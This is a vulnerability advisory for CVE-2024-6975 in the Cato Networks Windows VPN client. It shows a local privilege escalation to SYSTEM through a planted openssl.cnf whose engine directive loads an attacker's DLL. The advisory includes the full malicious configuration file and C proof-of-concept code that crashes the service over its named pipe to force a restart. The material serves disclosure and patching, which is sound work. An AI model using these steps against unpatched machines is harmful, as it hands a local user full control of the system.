Cato Client - Local Privilege Escalation via OpenSSL Configuration File (CVE-2024-6975)

Summary

The OpenSSL implementation in the winvpnclient.cli.exe service executable is configured to load an openssl.cnf file from a location that does not exist, in the context of the NT AUTHORITY\SYSTEM account.

Providing that there is not already a folder named Work in the root of the C:\ drive, a directory structure can be created that forces the service executable to load a user controlled OpenSSL configuration whenever the Cato service makes a web request. For example, when clicking the authenticate button.

The engine section in an OpenSSL configuration file allows an arbitrary DLL to be loaded into the calling process, which in this instance allows arbitrary code execution as SYSTEM.

Impact

Privilege escalation to SYSTEM provides complete control over the machine.

Affected Versions

Windows Client version 5.10.26, and below.

Details

The screenshot below shows the service attempting to load an OpenSSL configuration file during authentication, after a fresh service restart:

ProcMon Event Showing Attempted Configuration File Load

As shown in the screenshot, the service attempts to load an OpenSSL config file from the following path (which does not exist):

C:\Work\WinVPNClient\ThirdParty\openssl\openssl-3.1.1\VS2022\SSL64\openssl.cnf

As documented in the OpenSSL docs, there are various fields which can be passed within an openssl.cnf configuration. However, of interest to an attacker is the engine option, which allows the user to specify an arbitrary “engine” to be used. As described here, the Engine API provides an interface for “adding alternative implementations of cryptographic primitives”, and has since been superseded in OpenSSL 3.0 by the Provider API.

From an attacker perspective, this feature essentially allows us to provide a path to an external library where OpenSSL will attempt to load the specified engine DLL from. If a local attacker writes a config file containing a malicious engine directive, then they can gain arbitrary code execution when the engine is loaded.

Creating a directory structure and putting the following content into the openssl.cnf file abuses the ’engine’ function to dynamically load a DLL into the process.

openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
woot = woot_section

[woot_section]
engine_id = woot
dynamic_path = c:\\work\\openssl.dll
init = 0

Restarting the service and attempting to establish a connection by hitting the Connect (power icon) button on the home screen results in the OpenSSL configuration being loaded, followed by a Load Image event on the specified DLL.

Successful ImageLoad Event

The attempt to load the openssl.cnf file is only performed once per service instance, so a restart of the service is required in order to force the configuration to be loaded. As the service DACL specifies that low privileged users cannot stop or start the service, either a system restart or a crash of the service is required.

Forcing a Service Restart

As a low privileged user, it is possible to send a MigrateCredentials IPC message to the service in order to cause an unhandled exception, resulting in the termination of the winvpnclient.cli.exe service executable. The majority of the time, the service appears to gracefully restart, allowing the exploit to be completed.

Client to server IPC calls are handled by the CatoNetworks.ServiceCommunication class in the CatoCommon.dll .NET assembly (previously the CatoNetworks.Model.ServiceCommunication class in CatoClient.exe for earlier versions), which serialises various pre-defined objects using ProtoBuf and sends them to the service over a named pipe (named cato-VPN).

The MigrateCredentials(int, Credentials) function creates a Credentials object that is used to populate a C2sMigrateVPNCredentials object before being passed to the generic SendCommand(ClientToService) function, which performs some logging and converts the ProtoBuf message to a byte array:

public bool SendCommand(ClientToService protobufMsg)
{
    string str = ServiceCommunication.ClientMessageToStringCensored(protobufMsg);
    bool condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceInfo;
    if (protobufMsg.Cmd == ClientToService.Types.Commands.QueryVpnstate)
    {
        condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceVerbose;
    }
    Log.WriteLineIf(condition, "Sending " + str);
    return this.SendCommand(MessageExtensions.ToByteArray(protobufMsg));
}

This then hands off to the identically named SendCommand(byte[]), which connects to the Cato-VPN named pipe and sends the ProtoBuf message:

public bool SendCommand(byte[] data)
{
    if (data.Length >= 16384)
    {
        Utils.ShowMessageBox("SendCommand", string.Format("Message can't be send to service due to length limit:\n{0} instead of {1}", data.Length, 16384), "Service communication error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        return false;
    }
    try
    {
        if (!this.namedPipe.IsConnected)
        {
            Log.WriteLine(ServiceCommunication.m_TraceSwitchServiceCommunication.Description + "Message can't be sent to service since pipe is not connected");
            return false;
        }
        this.namedPipe.Write(data, 0, data.Length);
        this.namedPipe.Flush();
    }
    catch (Exception ex)
    {
        Log.WriteLineIf(ServiceCommunication.m_TraceSwitchServiceCommunication.TraceError, ServiceCommunication.m_TraceSwitchServiceCommunication.Description + "SendCommand:" + ex.Message);
        return false;
    }
    object obj = this.mSyncObj;
    lock (obj)
    {
        this.mRetrysCount += 1L;
    }
    return true;
}

The connection to the IPC service from the client is handled in the ServiceCommunication.SendHello() function. Following a successful connection to the Cato-VPN named pipe, it immediately sends a UiRegister message via the ServiceCommunication.SendRegisterCommand() function, which in turn uses the SendCommand(ClientToService) function to actually send the data.

The service component expects to receive this UiRegister command before processing any other messages. If the MigrateCredentials message is sent prior to the UiRegister message, then an internal structure is not initialised properly, and the service attempts to access a near-null memory address, causing an unhandled exception.

As a proof of concept, the following program was created, which simply connects to the cato-VPN named pipe and sends a MigrateCredentials IPC message, without sending a UiRegister message first.:

#include <windows.h>
#include <stdio.h>
#include <cstdint>

#define PIPE_NAME "\\\\.\\pipe\\cato-VPN"

#define COMMAND_ID_MIGRATE_CREDENTIALS 0x04

// MigrateCredentials IPC message (ProtoBuf encoded)
BYTE message[] = {
    0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 
    COMMAND_ID_MIGRATE_CREDENTIALS,
    // REST OF MESSAGE REMOVED
};

int EncodeVarint(uint64_t value, uint8_t* buffer) {
    int count = 0;
    do {
        uint8_t byte = value & 0x7F;
        value >>= 7;
        if (value != 0) {
            byte |= 0x80;
        }
        buffer[count] = byte;
        count++;
    } while (value != 0);
    return count;
}

uint64_t GetTimestamp() {
    FILETIME ft;
    GetSystemTimePreciseAsFileTime(&ft);
    ULARGE_INTEGER uli{};
    uli.LowPart = ft.dwLowDateTime;
    uli.HighPart = ft.dwHighDateTime;
    return (uli.QuadPart - 116444736000000000ULL) / 10000;
}

int main() {
    HANDLE hPipe;
    DWORD dwBytesWritten;

    uint64_t t = GetTimestamp();
    uint8_t varint[10];
    int size = EncodeVarint(t, varint);
    memcpy(&message[1], varint, size);

    hPipe = CreateFileA(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("Failed to connect to named pipe. Error code: %d\n", GetLastError());
        return 1;
    }

    if (!WriteFile(hPipe, message, sizeof(message), &dwBytesWritten, NULL)) {
        printf("Failed to write to named pipe. Error code: %d\n", GetLastError());
        CloseHandle(hPipe);
        return 1;
    }

    printf("Sent %d bytes successfully\n", dwBytesWritten);
    CloseHandle(hPipe);
    return 0;
}

Checking the logs in C:\Program Files (x86)\Cato Networks\Cato Client\cato_vpn_<VERSION>_<TIMESTAMP>.log shows the unhandled exception.

08/04/24 08:19:09.978 [E] [UEH       ] [0F34:12A4] [unhandledExceptionFilter           :   54] [:] [:] [FATAL: Thread ID 4772: Unhandled exception code 0xc0000005 at address 0x00007FFC915C7820
08/04/24 08:19:09.982 [E] [UEH       ] [0F34:12A4] [unhandledExceptionFilter           :   69] [:] [:] [Access violation attempting to write memory at address 0x0000000000000048
08/04/24 08:19:09.982 [E] [UEH       ] [0F34:12A4] [unhandledExceptionFilter           :   74] [:] [:] [Memory dump in file C:\Program Files (x86)\Cato Networks\Cato Client\winvpnclient.cli.exe_3892.dmp

With the service restarted, it can be instructed to make a HTTP request (for example by sending the SendUploadLogsCommand IPC message), resulting in the loading of the DLL specified in the OpenSSL configuration file. As a proof of concept, a DLL was used that simply starts an instance of cmd.exe, running with SYSTEM privileges on the current user’s desktop:

Code Execution as SYSTEM

Mitigation Steps

Install version 5.10.34, or later.

You May Also Like